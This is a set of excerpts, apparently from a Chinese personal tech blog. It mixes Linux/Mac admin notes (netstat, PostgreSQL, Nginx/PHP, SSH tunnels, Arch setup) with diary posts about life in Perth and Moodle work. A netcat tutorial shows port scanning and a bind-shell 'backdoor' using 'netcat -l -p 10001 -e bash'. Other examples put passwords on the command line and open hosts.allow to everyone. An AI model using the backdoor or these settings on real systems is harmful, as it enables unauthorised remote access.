先试着把 /etc/fonts/conf.d/49-sansserif.conf 中的字体都换成了文泉驿，问题依旧，到 LinuxSir 上问了一下，据说使用 nightly-build 的文泉驿就没问题了，安装以后果然问题解决。

PS，写这篇文章的时候，又搜索了一下，发现亦歌已经贴出了一个解决办法：linux,ubuntu,flash中文汉字显示方块乱码的问题。
还找到一篇文章解释了为什么会发生这个问题：FlashPlayer 9 for Linux中文显示问题的一些临时解决办法。

今年形势逆转，一方面中国对资源需求降低，另一方面是席卷全球的金融危机，西澳的金融、IT、矿业公司都风光不在，最近不断听到有人失业的消息，听起来让人很沮丧，澳洲经济这样下去，不知何年何月才能走出低谷。

我们公司还好，最近贴出招聘两个程序员的广告，短短一周，就有收到十几个应聘申请，看来最近失业的人太多了，要知道当初我找工作的时候，招聘广告贴了半年才有人应聘。

公司的人越来越多了，我的交流水平依然低下，问题的根源还是英语，主要体现在有想法表达不好，听不懂同事开得小玩笑……要求得良好发展，最关键的还是英语，得加把劲了。

首先在 vim 配置文件中加入

match ErrorMsg /echo_fb/

这将 echo_fb 函数标记为错误，警醒我提交前要去掉。这招显然不够狠，我要是连看都不看就把 vim 关了怎么办？最有效的办法还是在提交前用 grep 搜索文件，所有有了这个 shell 脚本：

ci (){
    if [ $# -eq 0 ]; then
        echo "CVS CHECKIN: No arguments entered.";
        return 1
    else
        echo "Checking in file(s): ${@:2}";
        echo "Working ...";
        if [ "$(grep "echo_fb" ${@:2})" ]; then
            echo 'Remove debug code firstly';
        else
            cvs ci -m "\"$1\"" ${@:2}
        fi

    fi
}

这样基本就没问题了。

Gmail 邮箱对我来说最有价值的功能是无敌的全文检索，我常用来搜索代码段来快速定位 Issue number（或者反过来），屡试不爽，所以把以前的邮件倒到新邮箱就是必须的任务。另外，我用以前邮箱注册了太多太多网络服务，所以得把没来得及修改联系邮箱的邮件转发到新邮箱：
1. 在 Accounts 标签里找 Get mail from other accounts，然后把前 Gmail 帐号加上，这个收取挺慢的，一次收 200 封，我从下午一直收到现在还差四千多封。
在我做这件变态的事的时候，我发现自己一点也不孤单：Migrate All Your Old Gmail to a New Gmail Address，还有 Consolidate Multiple Email Addresses with Gmail。
2. 在 Forwarding and POP/IMAP 中设置新的邮件转发地址。
3. 最后还要设置一下自己的马甲：

4. 启用 Gmail labs 里的 Filter import/export，把过滤器都导入到新邮箱。

这还只是个开始，我还得处理 Google Picasa，Google Reader，Google Maps（我存了大量地址）还有我所有的联系人资料，还好，这里的数据都可以导入导出。

我非常沮丧的发现，Google 已经无情的渗入到我生活中的每个部分，我的帐单，好友，工作，住址等等私密信息全部存储在 Google 这张网中，Google 的用户粘度比 Windows 强太多，没有 Windows，我用 Linux 或者 Mac 都能过得更好，但如果没有 Google 该怎么办？我有点忧虑了。

netstat 是用来检测网络信息的工具。
当直接在终端输入 netsate，可以看到两部分输出 Active Internet connections 和 Active UNIX domain sockets，其中 Proto 栏表示所使用的协议 RefCnt 引用计数使用本连接的进程数，State 表示接口状态。

显示已经建立的端口：

netstat -n

显示所有端口：

netstat -a

显示正在监听的端口：

netstat -lnep

p 选项表示显示 PID/Program
n 选项强制表示用数字显示地址，不进行解析
e 选项表示显示扩展信息，比不加 e 多了 user 和 inode 信息

显示本机路由表：

netstat -nr

显示接口信息：

netstat -i

netstat 常和 awk 结合来统计连接数：

netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'

[via Nginx 0.5.31 + PHP 5.2.4（FastCGI）搭建可承受3万以上并发连接数，胜过Apache 10倍的Web服务器]

netstat -an |awk '/LISTEN/{next};/^tcp/{s=split($5, N,":"); \
A[N[s-1]]++} END{ for (a in A) print a, A[a]}'

[via 用awk过滤查看netstat 连接数]

今天上班开机，发现 dropbox 不工作了，以前也出过这种毛病，我把 $HOME/.dropbox 和 $HOME/.dropbox-dist 删除以后重装就没事了，这次是连图形界面都起不来，运行 $HOME/.dropbox-dist/dropboxd，报了一个符号未定义错误：

ImportError: /usr/lib/libgdk-x11-2.0.so.0: undefined symbol: XRRGetScreenResourcesCurrent

怀疑是 API 变了，到 dropbox 官网论坛报告，找到一个 0.6.504 的 RC 版，下载安装一试，问题竟然解决了。

然后 Fcitx 也罢工了，这次报了一个段错误就直接死翘翘了，我猜又是 API 的问题，于是到 Google Code 上下载最新源码， 编译安装，问题消失。

最后得赞一下 Dropbox，实在太方便了，已经成了 vim 之后第二个我在 Windows，MAC，Linux 都必装的软件。

但任务栏却变成了经典样式，不管怎样都改不过来，怀疑是 c:\windows\system32\dllcache 的问题，把文件夹清空，问题依旧，把我弄的抓狂了，在网上狂搜，终于找到这个帖子：Taskbar & Start Menu Refuse to theme – stuck in classic mode。四楼的就是正解，我在 DOS 下操作的时候，不小心在 c:\windows 下放了个重复的 uxtheme.dll，造成任务栏无法使用主题。删除这个文件以后问题解决。

希望本文对遇到同样问题的朋友有用。

# Create postgres user
sudo adduser postgres
# Create data directory
sudo mkdir /usr/share/pgsql/data
sudo chown -R postgres /usr/share/pgsql/data
su - postgres
# create initial databases
initdb -D /usr/local/pgsql/data
# launch server
postgres -D /usr/local/pgsql/data >logfile 2>&1 &
# create a database, or create it by SQL
createdb moodle -E UNICODE -e
# create a super user with password
createuser dongsheng -s -d -r -P
psql moodle
# change user password
>alter role dongsheng set password="123456"
# create a database with utf-8 charset
>create database moodle_head WITH ENCODING 'UNICODE'
# create a database for a specfic role
>create database moodle_head OWNER root
# list all roles
>\du
# or
>SELECT rolname FROM pg_roles;
# list all databases
>\l

luit -encoding gbk ssh username@newsmth.net

另一个很有用的跟编码有关的命令是 iconv，典型的用法是：

iconv -f cp936 -t UTF-8 -o file_utf8.txt file.txt

这个命令可以将 cp936（既 gb2312）编码的文件 file.txt 转换为 UTF-8 编码的 file_utf8.txt
不过我还找到给这个文件自动添加 BOM 的办法，所以通常是用 Python 做批量转换，代码为：

    import codecs
    filein = open(filename, 'r')
    string = ''
    for line in filein:
        string += line.decode('cp936').encode('utf-8')
    out = open(filename+'_utf8', 'w')
    out.write(codecs.BOM_UTF8)
    out.write(string)

1. 端口扫描
netcat -v -w 2 -z localhost 20-80
-v 是 verbose 模式
-w 设置超时时间
-z 设置 Zero IO，在监听模式下，会拒绝所有连接，在访问模式下会在建立连接后马上断开

2. 踩点
netcat -v localhost 80
用这个命令可以查看 HTTP 连接的信息，输入 GET HTTP 构造一个非法请求以刺探服务器信息，我通常用 curl 来作这件事：

curl -I localhost

3. 用 netcat 作后门
服务端（即被入侵端）

netcat -l -p 10001 -e bash

如果服务端是 windows 就输入：

netcat -l -p 10001 -e cmd

在 GNU netcat 0.7.1 里面 -d 是开启 debug 模式的选项，但旧版里是 Tells Netcat to detach from the process we want it to run
从客户端连接：

netcat -v localhost 10001

4. 文件传输
在服务端：

netcat -l -p 10001 > file.dat

在客户端：

netcat localhost 10001 < file_to_be_transfered.dat

记住按 ctrl+c 终止传输，检查文件的 md5 是否一致。

补充一个关于 Mldonkey 的技巧，Mldonkey 支持 telnet 方式检查下载状态，但登入登出 telnet 太麻烦，用 netcat 可以简化这个过程：

 echo -e 'vd\nexit' | netcat localhost 4000

谢谢 chroot 提供这个方法。

MailEncoding UTF-8

to mt-config.pl
3. Move all the other files to cgi-bin/mt/, assign executive right to cgi scripts
4. Access http://localhost/cgi-bin/mt/mt.cgi

Theming
1. Modify the css file which can be located at static/themes-base/blog.css
2. Remove “powered by” widget
3. Modify template in admin page
4. To backup templates, every template should be linked with a local file, then you can modify the files on disk to customize looking.

Plugins
Comming soon

在书签中加入 http://php.net/%s，然后给这个书签设置一个叫 php 的关键字，这样在地址栏输入 php preg_match 就直接跳到 PHP 的文档页了，非常方便。

如法炮制出下面的书签：

http://dict.cn/search.php?q=%s

http://www.baidu.com/s?wd=%s

http://docs.python.org/search.html?q=%s

/** python 的搜索结果是 ajax 载入的，不过连个载入进度条都没有，老让我以为没有找到结果 */

make && sudo make install

这样创建的 libphp5.so 是无法被 Apache 载入的，需要用 lipo 处理一下 Apache 的二进制程序

/usr/sbin$ sudo cp httpd httpd-fat
/usr/sbin$ sudo lipo httpd -thin i386 -output httpd

完了重启 Apache 就可以使用了：
sudo apachectl restart

于是找到苹果主页的 the Online Service Assistant，然后选 Set up online service or find other available options for your product，添了一通信息以后提交，没一会儿苹果给我回信答应给我换机，接着问题就来了，苹果给我一个打印邮递信息的页面，说是有个 label 在页面里，但我怎么找也找不到，难不成 label 指的就是这张页面，于是我带上这张页面和 iPod 去了邮局，但邮局工作员说不对，这个东西一点没用，于是给苹果打电话，接电话的又是该死的印度口音，叨叨半天就是说 label 就在那个页面啊。我想算了，周六去授权苹果店看看，让他们帮我寄吧。

打开 Google，搜了一下 “Dead pixel fixer” 找到一个说法，说死点也分两种一种是黑的，这种完全没救，另一种是白的，英文叫 struck pixel，运气好的话，可以通过快速变化屏幕颜色把死点冲开，我下载了那个快速闪动的视频文件，果然。。。没有效果。但也有人成功过：iPod stuck pixel fixer?

抱着最后希望打开那个邮递信息的页面，把页面一拖到底竟然发现了那个传说中的 label！原来这个 label 是个很大的图片文件，苹果傻了叭叽的把它放在页面最底部，在网速慢的情况下，根本意识不到下面还有一张图片，而且这图离上面的说明文字有很大一块空白，让我以为网页就那么多了。

今早带着那张显示地址信息的 label 去了 Australia Post，终于成功寄出 iPod（记住只把主机寄出去，耳机数据线之类的自己留着），希望能尽快拿到一个无缺陷的新机器

–
更新：

今天收到苹果给换的新 iPod Touch，这次没有坏点了，从上周三从悉尼发货，到珀斯共费了五个工作日，整个过程苹果做得还算贴心，给出一个网页追踪产品的维修状态，货寄出以后也给了 Australia Post 的追踪号码。但愿不要再出啥问题，换来换去半个月就进去了。

在虚拟主机端的配置

刚买的 Hostmonster 虚拟主机就派上了用场，默认情况下 SSH Access 是不开启的，于是跟在线客服联系，让他开通 SSH 支持，并把护照复印件或其它有效证件发给他，然后 SSH 就激活了。

在 Hostmonster 的 cPanel 中导入自己的公钥，到本地电脑把私钥存在 ~/.ssh/id_rsa 中，就可以实现无密码登录了。

对于一般的 sshd 公钥登陆配置是在 /etc/ssh/sshd_config 中添加

AuthorizedKeysFile %h/.ssh/authorized_keys

然后在 ~/.ssh/authorized_keys 中添加公钥，Hostmonster 是自动处理了。

本地设置

本地要做两件事，建立 SSH Tunnel 通道和设置浏览器使用 SOCKS v5 代理。

Windows 系统

如果是用 putty，用如下命令即可建立 ssh tunnel：

plink -N -D 8080 -l dongsheng -pw thepassword -v dongsheng.org

然后在火狐或者 IE 中设置 SOCKS v5 代理为 127.0.0.1:8080。

Windows 上最简单的办法是使用 MyEnTunnel，直接在图形界面中添上 ssh 服务器地址，用户名密码，然后点连接就轻松创建了 ssh tunnel。

对于 Firefox 来说有不少很棒的代理扩展，我觉得最棒的是 AutoProxy，它维护了一个黑名单列表（对GFW来说是黑名单），只有在列表里的网站才会使用代理访问，一般的网站都是直接访问。

还要有注意的一点是在 Firefox 的 about:config 里要把 network.proxy.socks_remote_dns 设置为 true，不然会遭遇 DNS 劫持。

Linux

在终端里输入：

ssh -N -D 8080 -l dongsheng dongsheng.org
# -v 可以输出更多连接信息
#ssh -N -v -D 8080 -l dongsheng dongsheng.org

这就建立了一个本地 SOCKS v5 代理，在火狐中设置 SOCKS v5 类代理为 127.0.0.1:8080 就可以使用了。

• -N 是禁止执行远程命令
• -v 是输出调试信息，用于测试结果
• -D 设置转发端口
• -l 是自己的登录名

补充：

• 在远程主机上运行一个命令并退出：

  plink -l root -pw thepassword -v dongsheng.org "/etc/rc.d/fastcgi restart"
  

在我陷入绝望的时候，我想到了传说中著名的富有中国特色的山寨机，为什么选山寨机？

第一，牛逼无敌的大屏幕，人年纪大了，视力普遍下降，大屏幕绝对不是装饰，话说山寨机的屏幕精细度没法和 N 记手机比，但你也受够了 N 记小气的屏幕尺寸了吧，何况对于老人来说，还是看得清楚最实在。

第二，君不见山寨机惊天地泣鬼神的喇叭输出功率，莫说当铃声，动不动三声道恐怕当扩音喇叭也能胜任，轻松应付任何嘈杂环境。但切记，别用“月亮之上”当铃声（http://zn.sj.91.com/content/2009-01-22/20090122183956516.shtml）。

第三，无敌电量，虽说电池容量虚标（要是真的，两块就能当汽车电瓶了），但事实是，山寨机普遍拥有超人的待机时间，我的 E71 号称 N 记的无敌待机时间，但也不过区区二三天耳，面对山寨机毫无竞争力。老人普遍对电气产品缺乏认识，也没法总记得给手机充电，在这种情况下，待机时间就是很重要的指标了。

第四，功能，尽管 MTK 平台比较低俗，但大多功能非常实用，比如拨号语音提示、短信真人发音、收音机、电视……那些要靠第三方软件才能支持这些功能的所谓智能机还是留给 Geek 用吧，此“智能”真非彼智能。

第五，价格便宜，再牛逼的山寨机也不过区区千元，一下买两个，一年坏一个或丢一个也能用两年啊。

唯一不确定的是电池安全问题，这几天搞搞极限“测试”。

当我们需要保存某些机密信息的时候，OpenSSL 可以用来充当有用的加密工具。比如需要加密 readme.txt 中的机要信息，可以用 3-DES 进行加密：

openssl des3 -in readme.txt -out readme.des

解密时使用命令：

openssl des3 -d -in readme.des -out readme.plain

其它加密算法也可以使用，详表见：OpenSSL Manual。

参考：
1. 菜鸟晋级必修功课！图解Intel电脑组装全过程
2. 常用主板前置音频接法详细设置

mv /etc/php.ini.default /etc/php.ini

重启 apache：

apachectl restart

3. 文档根目录在 /Library/WebServer/Documents，看了看 phpninfo 发现支持的扩展还不算太少

str='..'
level='./../'
for i in `seq 5 1`;
do
    eval "alias '$str=cd $level'"
    level=$level'../'
    str=$str'.'
done

可以方便的点几个点就蹦到上面的 n 层目录，但 MAC 上没有 seq 这个 shell 命令（确切的说是 FreeBSD 没这个命令），问了管理 FreeBSD 包的朋友才知道，可以使用 jot 代替 seq，问题解决。

The Terminal application is the command-line interface to Mac OS X. It presents an interface to what old-school Unix users call the “shell.” In a shell, you can issue any command line you want and see it executed. In contrast, the Console is a simple log of messages printed to STDOUT by various programs, which do not end up anywhere else. In the Console, you will typically see messages from various background processes and, sometimes, debug statements from GUI programs.

1. 出国

我从没一个人出过远门，这是第一次到坐十小时飞机才能抵达的地方，常回家看看成了一个物理上都极困难的事情。这是好事，我学会了出国的第一课：没有后路，只能往前走。国外的消费是高昂的，我得学着在这里生存下去。刚开始有点令人沮丧，大部分时间，我都在等待，等待开学等待成绩等待工作等待机会，后来证明—— 等待也是一种学习。

不久就开始了打工和上学。上课第一天就得到一个令人沮丧消息，我上的这是个语言学校是个黑校，会毫无理由的推迟学生的毕业时间以赚取学费，碰到一个山东老乡告诉我，学校无故给他延长了半年的学期，不但耽误了大学入学还要交付七千多澳币的学费，所以他决定回国了……另外一个坏消息是我要到 Fremantal 市校区上课，每天来回三小时，我不得不每天7点起床……

就这样开始了在这个学校战战兢兢的两个月的学习生涯。这两个月里我只相信一个道理：只要自己做的尽善尽美，学校没理由给我延期。结果是，我按时毕业了，还要回了学校多收我的一个月学费，两个月的学习对我的语言没有显著提高，比这重要的是，我明白了这样的道理：在国外，别指望别人能帮到自己，任何事都要靠自己去抗争去改变，简单的讲只是两个字——自强，不错，我们的生活中充满令人沮丧的事实，束手无策是件很痛苦的事情，但我有个信念，世上没有无法改变的东西，认真的去想对策，积极的行动必然会让现状朝好的方面转变，这个道理谁都懂，但我是从那时候才真的开始实践的，信则成。

关于打工，我曾经写过一篇长文，现在看来还是有点触动。

2008 年二月，我正式进入大学开始研究生课程，澳洲的计算机课程极其无聊，第一学期的三门课分别是：专家实践（讲狗屁的计算机专家职业道德，花近三千澳币学这个？）、项目管理（背了几百页项目管理的过程和理论，完全 bullshit）、局域网设计（我不是大二就学过了吗？）。我很郁闷，光上课就能培养出硕士吗？澳大利亚怎么还能搞出个只上课就能拿学位的研究生？扯淡。说露骨点，到澳洲读研究生，就是花钱换绿卡，绿卡能否到手还得看澳洲政府的脸色，目前的政策是再交了两年高昂学费后，你还得考出雅思四个七或者有一年相关工作经验才能顺利移民（这两个条件都不是一般的难）。

我决定走别的路，投了大量简历，涵盖了软件开发、网络管理、系统管理，运气不错，零八年三月我就找到一份兼职PHP开发的职位。我热爱这份工作，原因在于，我既可以实践我已有的知识并能学到新的技术，在与别人的交流中还能有效的提供英语水平。但在学校，我得不到提高的满足感——一周只在学校呆三个上午，你觉得能学到什么？学校声称把更多时间给学生去研究，但那些弱智的作业啊，我看不到任何的创新和研究的元素在里面。于是矛盾激发，发生了下面的事。

2. 退学

学生签证当然是不可能退学的，一旦中断课程我就必须回国，但我还不打算在一事无成的情况下回国，所以我找老板谈：我想全职工作，老板很高兴，非常欢迎你全职工作，但我们没有处理签证的经验，你需要自己完成所有的 Paperwork，我提供一切支持。花了不少时间查学生签证转工作签证的信息，但没有找到有用的信息，我决定带上所有的支持材料去移民局咨询，interview 时发生一件很传奇的事，接待我的老外竟然精通汉语，拿着我的毕业证书看了一会，问我济南是不是山东的？然后说他没去过济南，但在青岛呆过几天，我听的目瞪口呆，半天才反应出应该怎么回答……总之很顺利，我递交材料不到一周就收到了移民局通知——我的临时居民签证顺利签发了！真没想到移民局工作效率竟然这么高。

关于中断学业是否值得的问题，我曾跟父母解释过很多遍，我可以在任何适当的时机回学校办理重新入学手续，我以前修完的课程依然有效。并且，澳洲的高等教育与中国有很大差异，在职教育和普通全日制教育在本质上完全相同，我可以在 2009 年重新入学，事实上，这也我正打算做的事，毕竟，这张文凭还是很有分量的。一边工作一边上学要更辛苦一点，但解决了工作经验和物质生活等等问题，显然利远大于弊。

3. 学开车

自此在国内学开车险些把车开到墙上以后我就再没动过学开车的年头，但在澳洲，没车实在太痛苦了，这里没有中国那样满大街跑的出租车（必须打电话预约），地广人稀所以工作的地方离住的地方也非常远。

所以决定买车，买回车后的第一件事竟然是：我还不会开呢！我堂弟的房东是个驾车教练，我就开始跟他学，一次还不到小时，收费五十澳币，真是贵。

我的技术非常糟糕，学开车的第一个月就撞坏了路灯，倒车时蹭到一辆马六，还在十字路口熄火+倒车……险象环生，可没有出大问题。2009 年我一定要把开车技术练好，拿到正式驾照就去换个新四驱车，要是拿不到，就还开现在这个好了

4. Roadtrip

零八年底跟两个朋友开车去了 Broome，西澳洲最北部，行程三千多公里，路上看尽了西澳洲的繁华和荒凉，这是我经历的最有价值的一次旅行，路上看到了粉色的天然湖，热带的对流雨还有一个非常难以发现的地中海，拍了四五百张照片，改天整理一下传上来。

零九年我还要来一次 Roadtrip，这次可能要开到墨尔本

5. 告别 PC

圣诞前我买了一台 Macbook，准备淘汰掉我用了近两年的 DELL XPS，吸引我的不仅是新 Macbook 精湛的做工（整个机身没有一道缝），还有基于 UNIX 的 Mac OS X，昨天买了 displayport 2 dvi 的转接口（荒唐！一根线四十五澳币），把 Macbook 接到了我的大显示器上，告别 PC 的工作算是圆满完成了。

这差不多就是零八年对我影响较大的一些事，先写这么多吧，有时间可能还要再修改一下。

我其实一点也不热衷旅游，比起在路上颠簸疲顿，我心里更希望躺在床上懒懒度过十几天的圣诞假日，花与平日同样多的时间在电脑上，幻想这样就能驰骋世界，神游四方。但事实是，我很悲哀，科技让生活越来越多的电子化，我们用 Google Earth 周游世界，通过 Flickr 看别人的生活，用 iPod 听场音乐会或者在聊天室里和素未谋面的人倾谈，当感激科技带来的便利时，我们真的更幸福了吗？

别忘了，外面有色彩真实的世界，有能拂过我脸的大沙漠的风，有可触摸的湿软沙滩、有可倾听的鸟语虫鸣还有一直延伸到蔚蓝天边的大马路。所以我得走出去，尝试逐步改变现在的生活。

叔本华说过这样一段让人触动的话：

一种平静欢愉的气质，快快乐乐的享受非常健全的体格，理知清明，生命活泼，洞彻事理，意欲温和，心地善良，这些都不是身份与财富所能促成或代替的。因为人最重要的在于他自己是什么。当我们独处的时候，也还是自己伴随自己，上面这些美好的性质既没有人能给你，也没有人能拿走，这些性质比我们所能占有的任何其他事物重要，甚至比别人看我们如何来得重要。

DSpace 可以从源码或二进制包安装，我选择下载了一个 1.9 M 的二进制包，心里挺高兴，心想 Java 软件怎么做的这么小了？
但一解压就看到一个 pom.xml，心里一凉，说完了，这个包是想用 maven 下载第三方库啊！进到根目录下的 [dspace] 目录，然后运行 mvn install，这会自动下载运行 dspace 所需要的所有包，下载了半天，这个只有 1.9M 的安装包变成了近 400M 的庞然大物。在上面的步骤里 maven 只负责包依赖关系，然后要用 ant 把 dspace 安装到适当的位置，进入 [dspace]/target/dspace-{$version}-build.dir/，编辑 config/dspace.cfg，把 dspace.dir 设置成 /usr/share/dspace，其他选项都很简单，看看就明白了。
运行 ant fresh_install 把 dspace 安装到目标位置，在我的例子里 /usr/share/dspace/webapps 是相关 web 文件。
最后设置 [tomcat]/conf/server.xml 在 host 段中加入：

      <Context path="/jspui" docBase="/usr/share/dspace/webapps/jspui" debug="1"
          reloadable="true" cachingAllowed="false"
          allowLinking="true"/>
      <!-- DEFINE A CONTEXT PATH FOR DSpace OAI User Interface -->
      <Context path="/oai" docBase="/usr/share/dspace/webapps/oai" debug="1"
          reloadable="true" cachingAllowed="false"
          allowLinking="true"/>

启动 tomcat，然后浏览 http://localhost:8080/jspui。

#!/sbin/runscript
# Copyright 1999-2004 Gentoo Foundation
# Distributed under the terms of the GNU General Public License, v2 or
# later
# $Header:$

NGINX_EXEC=/usr/sbin/nginx
PHP_EXEC=/usr/bin/php-cgi

depend() {
need logger net
}

start () {
ebegin "Starting FCGI Service"
spawn-fcgi -a 127.0.0.1 -p 9000 -C 5 -f /usr/bin/php-cgi
eend $?
ebegin "Starting Nginx"
start-stop-daemon --start --exec ${NGINX_EXEC}
eend $?
}

stop() {
ebegin "Stopping FCGI Service"
killall php-cgi
eend $?
ebegin "Stopping Nginx"
killall nginx
start-stop-daemon --stop --quiet --pidfile /var/run/nginx.pid
--exec $NGINX_EXEC
eend $?
}

然后把这个文件保存为 /etc/init.d/httpd 并加上执行权限。
然后运行 rc-config add httpd default

PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys #这里是到用户根目录的相对路径

重启 sshd 服务
4. 在 SecureCRT 中设置使用密钥登录

./configure --prefix=/usr --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx_error.log --http-log-path=/var/log/nginx_access.log --pid-path=/var/run/nginx.pid --http-client-body-temp-path=/var/tmp/nginx_client_body.tmp --http-proxy-temp-path=/var/tmp/nginx_proxy.tmp  --http-fastcgi-temp-path=/var/tmp/nginx_fastcgi.tmp --with-http_stub_status_module --with-http_ssl_module --with-openssl=/usr/src/openssl

（启用了监控和ssl模块，重新设置文件路径）
make
make install
注意，–with-openssl 指向的是 openssl 的完整源码树。

Nginx 的配置

在 server 段中加入 root 指令，指向网站根目录，然后把 location / 段改为：

location / {
  stub_status on;
  access_log off;
}

这样就能在首页显示状态信息了，在这里用作测试。

从源码安装 PHP 5.2.7

./configure --prefix=/usr --with-config-file-path=/etc/php --with-curl=shared --with-curlwrappers --enable-fastcgi --enable-force-cgi-redirect --with-openssl=shared --with-mysql=shared --with-mysqli=shared --enable-zip=shared --with-xmlrpc=shared --enable-mbstring --enable-pdo=shared --with-pdo-sqlite=shared --with-sqlite=shared --with-gd=shared --with-zlib
make
make install
cp php.ini-dist /etc/php/php.ini

在这种情况下，模块会编译进 PHP 而不是作为模块动态加载，如果想要创建模块需要设置 shared 选项，比如我要把 PDO 作为模块加载：

./configure --enable-pdo=shared --with-pdo-sqlite=shared --with-sqlite=shared

如果是 apache 的话要加上 –with-apxs2 项以创建模块。

设置 FASTCGI

我尝试用 php-cgi 直接创建 FCGI 服务，但无法成功，只好使用 lighttpd 的 spawn-fcgi 程序创建 FCGI 服务（这里偷懒用 emerge 装的 lighttpd）：

spawn-fcgi -a 127.0.0.1 -p 9000 -C 5 -f /usr/bin/php-cgi

最后修改 nginx 的配置文件使之调用 php FCGI 服务：

location / {
 index index.php index.htm index.html;
}
location ~ .php$ {
 fastcgi_pass 127.0.0.1:9000;
 fastcgi_index index.php;
 include fastcgi_params;
 fastcgi_param SCRIPT_FILENAME /var/www$fastcgi_script_name;
}

创建一个 phpinfo 页面测试一下吧！

参考

Nginx 编译参数说明
PHP 编译参数说明
Nginx 0.7.x + PHP 5.2.6（FastCGI）搭建胜过Apache十倍的Web服务器（第4版）
Nginx With PHP As FastCGI Howto

需要在 /etc/hosts.allows 中添加：
ALL: 0.0.0.0/0.0.0.0 : allow
关于这个文件的详细配置，参见：http://linux.die.net/man/5/hosts.allow

键盘鼠标无法使用

Arch 的 xorg 升级出了不少问题，我用 hwd -xa 生成 xorg.conf 以后无法使用键盘鼠标，问题的关键是 hal 服务没有启动，以下是 LinuxSir 网友总结的修复办法：

1、注释掉Section “Files”中的RgbPath项
2、修改i810为intel（我原先用i810,现在只能用intel，根据你的自己设置）
3、注释掉Section “ServerLayout”中inputdevice项和所有Section “InputDevice”
4. rc.conf中的daemons添加hal
5 使用以上方法仍有问题的，请不要使用方法3，并将ServerFlags中的AutoAddDevices设为false
Section “ServerFlags”
Option “AutoAddDevices” “False”
EndSection

vim

Arch 自带的 vi 不好使，我最需要的 clientserver feature 没有打开，所以只能下载源码自己编译。
vim 的 features 可以通过编辑 src/feature.h 删改，记得一定要开启双字节支持！
vim 的 feature list。
vim 的 编译说明。

Bitlbee

装了默认的 bitlbee 竟然不支持 join_chat，无奈只能下载源码编译。
安装的时候使用 ./configure –help 看看协议的默认值，用不到的禁用。 Arch 把 xinetd 的配置文件放在 /etc/xinetd.d/ 下，建一个 bitlbee 的服务描述文件：

service bitlbee
{
       type = UNLISTED
       socket_type = stream
       protocol = tcp
       wait = no
       user = bitlbee
       group = bitlbee
       server = /usr/sbin/bitlbee
       port = 6667
       disable = no
}

LAMP

在 /etc/httpd/conf/httpd.conf 中加入：

LoadModule php5_module modules/libphp5.so
AddHandler php5-script php
Include conf/extra/php5_module.conf

然后修改 http 服务器根目录。
还有个小问题是发现 php 无法读写一个 777 的文件夹，折腾了半天才想起 php 有个 open_basedir 选项，把要读写的文件路径加入，问题解决。
对于 mysql：

mysql_ininstall_db
/usr/bin/mysqladmin -u root password 'new-password'

暂时就这些。

在网上搜索一下找到了 http://www.insecure.ws/2008/10/20/vmware-specific-specific-55x-and-kernel-2627，这个补丁包解决了 api 的不兼容问题。

用法：
安装 vmware 的时候会问你是否要运行 vmware-config.pl，选 no，然后运行补丁包里的 runme.pl。

1) 尴尬的
周四晚去参加宴会，进去发现所有人都穿的很正式，还有不少穿的礼服，只有我是披着一件破 T-Shirt 就进去了，还是唯一的亚洲人，太显眼了，丢大了。后来陆陆续续才来了几个跟我一样的“随意”的人，有图为证：

这件事的教训是我得赶紧买套西装了，虽然来了快一年了，但参加这种大的社交活动还是第一次，我完全不懂在这种场合应该干什么怎么办。西方礼仪跟中国差异太大，这个我得好好学习。

2) 郁闷的
有种广泛接受的偏见：在国外生活英语就会短时间提高。但现实是难以令人满意的，回到前面那个宴会，西方的人的习惯是在正式开饭前，端杯酒自由交流，话题无非是恭维、客气（有时候我觉得西方人比中国人还要虚伪），但信息量大环境嘈杂，远不同于我已经习惯的工作环境的语言交流，我完全没法融入到话题中。我同事说，不要沮丧，你刚来不到一年，而语言的提高是需要时间和精力投入的。如果你想快速提高，还是来杯白兰地吧 它会让你“觉得”英语提高了。
未来几年我没有太担心的东西，最难的关卡过得差不多了，把英语提高到 local 的水平或至少能提高到能跟 local 自由交流的水平是我得下大功夫办的事。

3) 开心的
看到这么多人来参加 Moodle Moot，我很惊讶，没想到会有这么多人使用我们开发的软件（不少与会者还是从新西兰来），我突然有了要把现在的工作长期做下去的决心。刚开始工作的时候，我很不喜欢 Moodle 的代码库，代码风格不一致，庞大，甚至杂乱，到现在看法改变了很多，不能老拿理想说事（有些问题是社区开发的硬伤），一方面 Moodle 的功能很强大，它是实现了一些我以前没想过 WEB 能做好的功能，比如 Comunity Hub，Repository，Portfolio，另一方面它的历史很久远，大量的历史遗留代码和早期设计问题对新功能的开发造成限制，开发过程实际上也是一个不断折中的过程，有些问题已是积重难返。在未来的一两年，我们会开发一个完全重写的版本 —— Moodle 3.0，或许它将不再是一个产品还是一个像 Facebook 的网络平台，可能现在考虑这些有点早了，我很期待这个充分发挥想象力的机会。

最后一天的中午有个 Session 还专门讲了我开发的 Repository API（我做了约百分之八十），我很高兴这个模块解决了不少人的难题，听到的一些好的意见我下周就会写到代码里。

4) OLPC
第一次把 OLPC 拿在手上，它硬件平平，只有 1G 硬盘（可能是固态硬盘），AMD CPU，有趣的是它的软件，一个基于 Linux 的操作系统，窗口管理器是叫做 Sugar（专用于 OLPC），上面带了很多有趣的聚合学习软件，我们带回 Perth 两台 OLPC，以后要在上面做测试开发。

5) Ubuntu
Ubuntu 的流行程度超出了我的想象，与会的开发者，除了用 Mac 的就是 Ubuntu 了（没见有程序员用 Windows），我还发现一个家伙用的是 awesome 窗口管理器，Mac 和 Linux 的流行跟澳洲教育有关系，很多孩子从小就开始用 Linux 或者 Mac 学习甚至编程，在大学，你也可以发现运行着各种操作系统的机器，这点中国做的太差了。

6) 旅行
我有点喜欢上澳大利亚了，打算明年中旬再到东岸玩一玩。

签名和原理

PHP 签名的函数原型是：

bool openssl_sign ( string $data , string &$signature , mixed $priv_key_id [, int $signature_alg ] )

大四时学的密码学全忘光了，用 Google CodeSearch 搜了一气 OpenSSL 的源代码才搞明白了签名的原理。

生成签名：

1. 对 $data 按照 $signature_alg 设置的算法（默认是OPENSSL_ALGO_SHA1）进行 hash 运算
2. 用私钥加密（$priv_key_id）
3. $signature 就是产生的签名数据，连同 $data 发送给接收方

可用的 hash 算法包括：

• OPENSSL_ALGO_SHA1
• OPENSSL_ALGO_MD5
• OPENSSL_ALGO_MD4
• OPENSSL_ALGO_MD2

验证：

1. 用公钥解密签名数据
2. 解密后的结果是 $data 的 hash 值，接受方再生成 $data 的 hash 值与之对比

签名验证算法

